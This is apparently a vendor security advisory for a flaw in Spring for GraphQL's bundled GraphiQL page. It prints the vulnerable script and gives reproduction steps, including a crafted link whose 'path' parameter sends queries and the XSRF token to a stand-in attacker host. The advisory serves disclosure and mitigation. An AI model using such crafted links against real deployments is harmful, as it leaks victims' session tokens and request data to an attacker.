CVE-2026-59288

Information Exposure
Affects
Spring for GraphQL
in
Spring
No items found.
Versions
>=1.0.0 <=1.0.7, >=1.1.0 <=1.3.9, >=1.4.0 <=1.4.6, >=2.0.0 <=2.0.5
Exclamation circle icon
Patch Available

This Vulnerability has been fixed in the Never-Ending Support (NES) version offered by HeroDevs.

Overview

Spring for GraphQL is the GraphQL integration for the Spring portfolio, built on GraphQL Java. It wires a GraphQL schema and its data fetchers into Spring MVC and Spring WebFlux applications, exposes the GraphQL endpoint over HTTP, WebSocket, RSocket and Server-Sent Events, and adds Spring-native support for controller-based data fetching, batch loading, pagination, testing and security. It also ships a ready-to-use GraphiQL UI page so developers can explore an application's schema from the browser without installing anything.

An Information Exposure vulnerability (CVE-2026-59288) has been identified in the GraphiQL UI page bundled with Spring for GraphQL, which allows attackers to redirect the page's GraphQL HTTP and WebSocket traffic to a host of their choosing by crafting a link to the GraphiQL endpoint, causing a victim who follows that link to leak request contents and session-derived headers to the attacker's server.

Per OWASP: Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of all data or performing a business function outside the user's limits.

This issue affects Spring for GraphQL >=1.0.0 <=1.0.7, >=1.1.0 <=1.3.9, >=1.4.0 <=1.4.6, and >=2.0.0 <=2.0.5, including the End-of-Life 1.0.x, 1.2.x, 1.3.x, and 1.4.x lines supported by NES for Spring for GraphQL. Only applications that enable and expose the bundled GraphiQL page are affected.

Details

Module Info

Vulnerability Info

This High-severity vulnerability is found in the org.springframework.graphql:spring-graphql package in the bundled GraphiQL UI page of Spring for GraphQL.

The GraphiQL page reads the path and wsPath query string parameters straight from the page URL and uses them to build the GraphQL HTTP endpoint and the GraphQL WebSocket subscription endpoint. Both values are concatenated onto the page's own protocol and host with no check that the resulting URL still resolves to the page origin:

<script>
    const params = new URLSearchParams(window.location.search);
    const path = params.get("path") || "/graphql";
    const url = `${location.protocol}//${location.host}${path}`;
    const wsPath = params.get("wsPath") || "/graphql";
    const wsProtocol = location.protocol === 'https:' ? 'wss:' : 'ws:';
    const subscriptionUrl = `${wsProtocol}//${location.host}${wsPath}`;
    const gqlFetcher = createGraphiQLFetcher({'url': url, 'subscriptionUrl': subscriptionUrl});
    const plugins = [HISTORY_PLUGIN, explorerPlugin()];
    const xsrfToken = document.cookie.match(new RegExp('(?:^| )XSRF-TOKEN=([^;]+)'));
    const initialHeaders = xsrfToken ? `{ "X-XSRF-TOKEN" : "${ xsrfToken[1] }" }` : `{}`;
</script>

Because the parameter value is pasted directly after the host, a value that begins with the URL userinfo delimiter moves the authority of the resulting URL to an attacker-controlled host: a path of @attacker.example/graphql produces http://app.example.com@attacker.example/graphql, which the browser parses as a request to attacker.example. The same treatment of wsPath moves the subscription socket. Later releases build the endpoint with a URL constructor instead of string concatenation, which accepts an absolute value such as http://attacker.example/graphql and yields the same result. In both forms the page origin is never compared against the endpoint origin.

The consequence is that a victim with an active session who opens a crafted GraphiQL link gets a fully functional-looking explorer whose requests go to the attacker. Every query, mutation, variable and header the page sends is disclosed to that host, including the X-XSRF-TOKEN header that GraphiQL seeds from the session's XSRF cookie on the lines that carry that behavior, and any credentials or headers the victim adds in the header editor. The attacker's server can also answer with schema and response data of its choosing, so the explorer misrepresents the application it appears to be talking to.

Steps to Reproduce

1. Start an application that depends on Spring for GraphQL on an affected version and enable the bundled GraphiQL page, for example with spring.graphql.graphiql.enabled=true.

2. Sign in to the application in a browser so that the session and XSRF cookies are set.

3. Stand up any HTTP listener on a second host to stand in for the attacker endpoint, and note its hostname.

4. Open the GraphiQL page with the endpoint parameter pointed at that host, for example http://localhost:8080/graphiql?path=@attacker.example/graphql.

5. Run any query in the explorer.

6. Observe that the request never reaches the application's own GraphQL endpoint and instead arrives at the listener on the second host, carrying the query body and the headers GraphiQL attached, rather than being rejected as an off-origin endpoint.

Mitigation

Only recent versions of Spring for GraphQL receive community support. Older lines are End-of-Life and will not receive public updates to address this issue. No published Spring for GraphQL release, including the most recent one, carries the same-origin check for the bundled GraphiQL page, so upgrading the open-source dependency does not remediate this issue today.

Users of the affected components should apply one of the following mitigations:

  • Disable the bundled GraphiQL endpoint with spring.graphql.graphiql.enabled=false, and serve a self-hosted or vendored copy of GraphiQL if an interactive explorer is still needed.
  • Leverage a commercial support partner like HeroDevs for post-EOL security support.

Credits

Vulnerability Details
Severity
Level
CVSS Assessment
Low
>=0 <4
Medium
>=4 <6
High
>=6 <8
Critical
>=8 <10
High
ID
CVE-2026-59288
PROJECT Affected
Spring for GraphQL
Versions Affected
>=1.0.0 <=1.0.7, >=1.1.0 <=1.3.9, >=1.4.0 <=1.4.6, >=2.0.0 <=2.0.5
NES Versions Affected
Published date
August 31, 2026
≈ Fix date
August 27, 2026
Category
Information Exposure
Vex Document
Download VEXHow do I use it?
Sign up for the latest vulnerability alerts fixed in
NES for Spring
Rss feed icon
Subscribe via RSS
or

By submitting the form I acknowledge receipt of our Privacy Policy.

Thanks for signing up for our Newsletter! We look forward to connecting with you.
Oops! Something went wrong while submitting the form.